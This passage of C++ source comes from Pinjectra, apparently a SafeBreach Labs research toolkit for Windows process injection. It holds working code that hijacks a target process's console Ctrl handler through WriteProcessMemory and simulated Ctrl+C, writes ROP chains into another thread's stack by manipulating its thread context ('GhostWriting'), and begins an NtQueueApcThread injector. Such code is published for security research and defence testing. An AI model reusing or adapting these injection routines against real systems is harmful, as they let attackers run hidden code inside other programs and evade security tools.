IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | // Standard Include's 32 | #include 33 | 34 | // Local Include's 35 | #include "CtrlInject.h" 36 | 37 | CodeViaCtrlInject::~CodeViaCtrlInject() 38 | { 39 | } 40 | 41 | boolean CodeViaCtrlInject::inject(DWORD pid, DWORD tid) { 42 | DWORD process_list[2]; 43 | DWORD process_count; 44 | DWORD parent_id; 45 | RUNTIME_MEM_ENTRY* result; 46 | HANDLE h; 47 | void* encoded_addr = NULL; 48 | INPUT ip; 49 | MODULEINFO modinfo; 50 | int size; 51 | HWND hWindow; 52 | 53 | NTSTATUS(*PRtlEncodeRemotePointer)( 54 | _In_ HANDLE ProcessHandle, 55 | _In_ PVOID Pointer, 56 | _Out_ PVOID * EncodedPointer 57 | ) = (NTSTATUS(*)( 58 | _In_ HANDLE ProcessHandle, 59 | _In_ PVOID Pointer, 60 | _Out_ PVOID * EncodedPointer 61 | )) GetProcAddress(GetModuleHandleA("ntdll"), "RtlEncodeRemotePointer"); 62 | 63 | HMODULE kernelbase = GetModuleHandleA("kernelbase"); 64 | GetModuleInformation(GetCurrentProcess(), kernelbase, &modinfo, sizeof(modinfo)); 65 | size = modinfo.SizeOfImage; 66 | char* kernelbase_DefaultHandler = (char*)memmem(kernelbase, size, "\x48\x83\xec\x28\xb9\x3a\x01\x00\xc0", 9); // sub rsp,28h; mov ecx,0C000013Ah (STATUS_CONTROL_C_EXIT) 67 | __int64 encoded = (__int64)EncodePointer(kernelbase_DefaultHandler); 68 | char* kernelbase_SingleHandler = (char*)memmem(kernelbase, size, &encoded, 8); 69 | 70 | process_count = GetConsoleProcessList(process_list, 2); 71 | if (process_count < 2) 72 | { 73 | // "Oops, process_count for the console < 2 74 | return false; 75 | } 76 | 77 | if (process_list[0] != GetCurrentProcessId()) 78 | parent_id = process_list[0]; 79 | else 80 | parent_id = process_list[1]; 81 | 82 | FreeConsole(); 83 | AttachConsole(pid); 84 | hWindow = GetConsoleWindow(); 85 | FreeConsole(); 86 | AttachConsole(parent_id); 87 | 88 | result = this->m_memwriter->write(pid, tid); 89 | 90 | CloseHandle(result->process); 91 | 92 | h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); // PROCESS_VM_OPERATION is required for RtlEncodeRemotePointer 93 | 94 | (*PRtlEncodeRemotePointer)(h, result->addr, &encoded_addr); 95 | WriteProcessMemory(h, kernelbase_SingleHandler, &encoded_addr, 8, NULL); 96 | 97 | ip.type = INPUT_KEYBOARD; 98 | ip.ki.wScan = 0; 99 | ip.ki.time = 0; 100 | ip.ki.dwExtraInfo = 0; 101 | ip.ki.wVk = VK_CONTROL; 102 | ip.ki.dwFlags = 0; // 0 for key press 103 | SendInput(1, &ip, sizeof(INPUT)); 104 | Sleep(100); 105 | PostMessageA(hWindow, WM_KEYDOWN, 'C', 0); 106 | 107 | // release the Ctrl key 108 | Sleep(100); 109 | ip.type = INPUT_KEYBOARD; 110 | ip.ki.wScan = 0; 111 | ip.ki.time = 0; 112 | ip.ki.dwExtraInfo = 0; 113 | ip.ki.wVk = VK_CONTROL; 114 | ip.ki.dwFlags = KEYEVENTF_KEYUP; 115 | SendInput(1, &ip, sizeof(INPUT)); 116 | 117 | // Restore the original Ctrl handler in the target process 118 | (*PRtlEncodeRemotePointer)(h, kernelbase_DefaultHandler, &encoded_addr); 119 | WriteProcessMemory(h, kernelbase_SingleHandler, &encoded_addr, 8, NULL); 120 | 121 | return true; 122 | } 123 | -------------------------------------------------------------------------------- /Pinjector/CtrlInject.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | #include 36 | #include 37 | 38 | // Local Include's 39 | #include "ExecutionTechnique.h" 40 | #include "WritingTechniques.h" 41 | 42 | extern "C" 43 | { 44 | #include "memmem.h" 45 | } 46 | 47 | // Classes 48 | class CodeViaCtrlInject : 49 | public ExecutionTechnique 50 | { 51 | public: 52 | CodeViaCtrlInject(SimpleMemoryWriter* memwriter) 53 | :m_memwriter(memwriter) { } 54 | ~CodeViaCtrlInject(); 55 | 56 | // Methods 57 | boolean inject(DWORD pid, DWORD tid); 58 | 59 | protected: 60 | // Members 61 | SimpleMemoryWriter* m_memwriter; 62 | }; 63 | 64 | -------------------------------------------------------------------------------- /Pinjector/DynamicPayloads.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | #include 36 | #include 37 | 38 | #include 39 | 40 | // Local Include's 41 | #include "PinjectraPacket.h" 42 | 43 | // Consts 44 | #ifndef PAYLOAD4_SIZE 45 | #define PAYLOAD4_SIZE 75 46 | #endif 47 | 48 | #ifndef PAYLOAD5_SIZE 49 | #define PAYLOAD5_SIZE 107 50 | #endif 51 | 52 | 53 | // Classes 54 | class DynamicPayload 55 | { 56 | public: 57 | virtual PINJECTRA_PACKET* eval(TStrDWORD64Map &runtime_parameters) = 0; 58 | }; 59 | 60 | /////////////////////////////// 61 | // Payload with Substitution // 62 | /////////////////////////////// 63 | 64 | class _PAYLOAD_5 : 65 | public DynamicPayload 66 | { 67 | public: 68 | PINJECTRA_PACKET* eval(TStrDWORD64Map& runtime_parameters); 69 | }; 70 | 71 | class _PAYLOAD_4 : 72 | public DynamicPayload 73 | { 74 | public: 75 | PINJECTRA_PACKET* eval(TStrDWORD64Map& runtime_parameters); 76 | }; 77 | 78 | //////////////// 79 | // ROP Chains // 80 | //////////////// 81 | 82 | class _ROP_CHAIN_1 : 83 | public DynamicPayload 84 | { 85 | public: 86 | PINJECTRA_PACKET* eval(TStrDWORD64Map& runtime_parameters); 87 | }; 88 | 89 | class _ROP_CHAIN_2 : 90 | public DynamicPayload 91 | { 92 | public: 93 | PINJECTRA_PACKET* eval(TStrDWORD64Map& runtime_parameters); 94 | }; 95 | -------------------------------------------------------------------------------- /Pinjector/ExecutionTechnique.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include 32 | 33 | #pragma once 34 | class ExecutionTechnique 35 | { 36 | public: 37 | virtual boolean inject(DWORD pid, DWORD tid) = 0; 38 | }; 39 | -------------------------------------------------------------------------------- /Pinjector/GhostWriting.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "GhostWriting.h" 32 | 33 | extern "C" { 34 | #include "misc.h" 35 | } 36 | 37 | GhostWriting::~GhostWriting() 38 | { 39 | } 40 | 41 | PINJECTRA_PACKET* GhostWriting::eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params) 42 | { 43 | HANDLE t = target->thread; 44 | PINJECTRA_PACKET* payload_output; 45 | 46 | // Evaluate Payload 47 | payload_output = this->m_rop_chain_gen->eval(params); 48 | TStrDWORD64Map& tMetadata = *payload_output->metadata; 49 | 50 | // Write address of GADGET_loop to the target thread stack (used as part of the Write Primitive) 51 | CONTEXT* old_ctx_ptr = (CONTEXT*)tMetadata["OLD_CTX"]; 52 | CONTEXT new_ctx; 53 | new_ctx = *old_ctx_ptr; 54 | new_ctx.Rsp -= 0x60; 55 | new_ctx.Rbx = tMetadata["GADGET_loop"]; 56 | new_ctx.Rdi = new_ctx.Rsp + 0x58; 57 | new_ctx.Rip = tMetadata["GADGET_write"]; 58 | SetThreadContext(t, &new_ctx); 59 | ResumeThread(t); 60 | _wait_until_done(t, tMetadata["GADGET_loop"]); 61 | 62 | DWORD64 rop_pos; 63 | rop_pos = tMetadata["ROP_POS"]; 64 | 65 | DWORD64 new_stack_pos; 66 | new_stack_pos = tMetadata["NEW_STACK_POS"]; 67 | 68 | // Write new stack to target process memory space 69 | for (int i = 0; i < rop_pos; i++) 70 | { 71 | SuspendThread(t); 72 | CONTEXT old_ctx; 73 | old_ctx.ContextFlags = CONTEXT_ALL; 74 | GetThreadContext(t, &old_ctx); 75 | CONTEXT new_ctx = old_ctx; 76 | new_ctx.Rsp -= 0x60; 77 | new_ctx.Rbx = ((DWORD64*)payload_output->buffer)[i]; 78 | new_ctx.Rdi = new_stack_pos + sizeof(DWORD64) * i; 79 | new_ctx.Rip = tMetadata["GADGET_write"]; 80 | SetThreadContext(t, &new_ctx); 81 | ResumeThread(t); 82 | _wait_until_done(t, tMetadata["GADGET_loop"]); 83 | } 84 | 85 | return payload_output; 86 | } 87 | -------------------------------------------------------------------------------- /Pinjector/GhostWriting.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Local Include's 37 | #include "WritingTechniques.h" 38 | #include "PinjectraPacket.h" 39 | #include "DynamicPayloads.h" 40 | 41 | class GhostWriting : 42 | public ComplexMemoryWriter 43 | { 44 | public: 45 | // Constructor & Destructor 46 | GhostWriting(DynamicPayload* rop_chain_gen) : 47 | m_rop_chain_gen(rop_chain_gen) { } 48 | 49 | ~GhostWriting(); 50 | 51 | // Methods 52 | PINJECTRA_PACKET* eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params); 53 | 54 | protected: 55 | // Members 56 | DynamicPayload* m_rop_chain_gen; 57 | }; 58 | -------------------------------------------------------------------------------- /Pinjector/HookProcProvider.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Data Types 37 | typedef struct { 38 | HMODULE module; 39 | FARPROC proc; 40 | } RUNTIME_PROC_ENTRY; 41 | 42 | // Classes 43 | class HookProcProvider 44 | { 45 | public: 46 | virtual RUNTIME_PROC_ENTRY* provide() = 0; 47 | }; 48 | -------------------------------------------------------------------------------- /Pinjector/LLA_GPA.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "LLA_GPA.h" 32 | #include "HookProcProvider.h" 33 | 34 | LoadLibraryA_GetProcAddress::~LoadLibraryA_GetProcAddress() 35 | { 36 | } 37 | 38 | RUNTIME_PROC_ENTRY* LoadLibraryA_GetProcAddress::provide() { 39 | HMODULE ret_module; 40 | FARPROC ret_proc; 41 | RUNTIME_PROC_ENTRY* ret_entry; 42 | 43 | ret_module = LoadLibraryA(this->m_lpLibFileName); 44 | if (ret_module == NULL) 45 | return nullptr; 46 | 47 | ret_proc = GetProcAddress(ret_module, this->m_lpProcName); 48 | if (ret_proc == NULL) 49 | return nullptr; 50 | 51 | ret_entry = (RUNTIME_PROC_ENTRY*)malloc(sizeof(RUNTIME_PROC_ENTRY)); 52 | 53 | if (ret_entry == NULL) 54 | return NULL; 55 | 56 | // Fill in 57 | ret_entry->module = ret_module; 58 | ret_entry->proc = ret_proc; 59 | 60 | return ret_entry; 61 | } 62 | -------------------------------------------------------------------------------- /Pinjector/LLA_GPA.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Local Include's 37 | #include "HookProcProvider.h" 38 | 39 | // Classes 40 | class LoadLibraryA_GetProcAddress : 41 | public HookProcProvider 42 | { 43 | public: 44 | // Constructor & Destructor 45 | LoadLibraryA_GetProcAddress(LPCSTR lpLibFileName, LPCSTR lpProcName) 46 | :m_lpLibFileName(lpLibFileName), m_lpProcName(lpProcName) { } 47 | ~LoadLibraryA_GetProcAddress(); 48 | 49 | // Methods 50 | RUNTIME_PROC_ENTRY* provide(); 51 | 52 | protected: 53 | // Members 54 | LPCSTR m_lpLibFileName; 55 | LPCSTR m_lpProcName; 56 | }; 57 | 58 | -------------------------------------------------------------------------------- /Pinjector/NQAT_WITH_MEMSET.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | // Standard Include's 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | 38 | // Local Include's 39 | #include "NQAT_WITH_MEMSET.h" 40 | 41 | NTSTATUS(NTAPI* NtQueueApcThread)( 42 | _In_ HANDLE ThreadHandle, 43 | _In_ PVOID ApcRoutine, 44 | _In_ PVOID ApcRoutineContext OPTIONAL, 45 | _In_ PVOID ApcStatusBlock OPTIONAL, 46 | //_In_ ULONG ApcReserved OPTIONAL 47 | _In_ __int64 ApcReserved OPTIONAL 48 | ); 49 | 50 | PINJECTRA_PACKET* NtQueueApcThread_WITH_memset::eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params) 51 | { 52 | HMODULE ntdll = GetModuleHandleA("ntdll"); 53 | HANDLE t = target->thread; 54 | PINJECTRA_PACKET* payload_output; 55 | 56 | // Evaluate Payload 57 | payload_output = this->m_rop_chain_gen->eval(params); 58 | TStrDWORD64Map& tMetadata 